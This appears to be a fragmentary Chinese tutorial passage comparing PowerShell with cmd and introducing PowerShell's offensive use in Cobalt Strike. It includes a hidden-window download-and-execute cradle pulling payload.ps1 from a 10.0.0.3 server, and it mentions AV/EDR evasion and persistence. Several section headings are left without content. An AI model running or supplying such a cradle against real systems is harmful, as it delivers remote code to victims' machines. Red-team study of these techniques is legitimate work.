在 Windows 系统中,PowerShell 是一款集命令行、脚本语言、自动化框架于一体的高级工具。它最初由微软为系统管理员设计,目的是替代功能单一、表达力弱的传统 cmd.exe
。PowerShell 基于 .NET 平台构建,支持强类型的对象传递模型,拥有完善的模块体系和丰富的 API 访问能力,可用于从简单命令到复杂自动化的全流程控制。
与 PowerShell 相对的,cmd(Command Prompt) 是一种基于 DOS 时代遗留的命令行接口,虽然使用简单,但功能有限,几乎不支持脚本逻辑控制,也不具备对象操作能力,主要依赖外部工具进行数据处理。这种差异可以类比 Linux/Unix 中的 shell 演化:
简而言之:PowerShell 之于 cmd,正如 bash 之于 sh —— 不只是“加强版”,而是范式转变。
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.3/payload.ps1')"
1、对象管道:支持命令之间传递 .NET 对象,结构清晰,便于过滤与处理;
2、统一 API 调用模型:可访问 WMI、COM、注册表、网络、文件系统等多种资源;
3、脚本语言能力:支持函数、条件判断、循环、模块化、错误处理等完整语法结构;
4、远程管理:通过 PowerShell Remoting 可实现跨主机远程执行与会话控制;
5、可扩展性强:支持自定义模块、加载 DLL、调用 Windows API、与 C# 无缝集成;
6、适配攻防场景:可用于持久化、提权、信息收集、AV/EDR 绕过等红队用途。
Cobalt Strike 中的应用
PowerShell 在 Cobalt Strike(CS)中的应用极为广泛,既可以作为初始渗透载荷的“投递工具”,也可以作为 Beacon 的“模块执行器”。
.\test.ps1
powershell .\test.ps1
测试时,需放开当前用户的脚本执行权限
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -Force
(1)PowerShell Command
(2)Web 投递
用CS生成的默认 32 位样本,杀软秒吞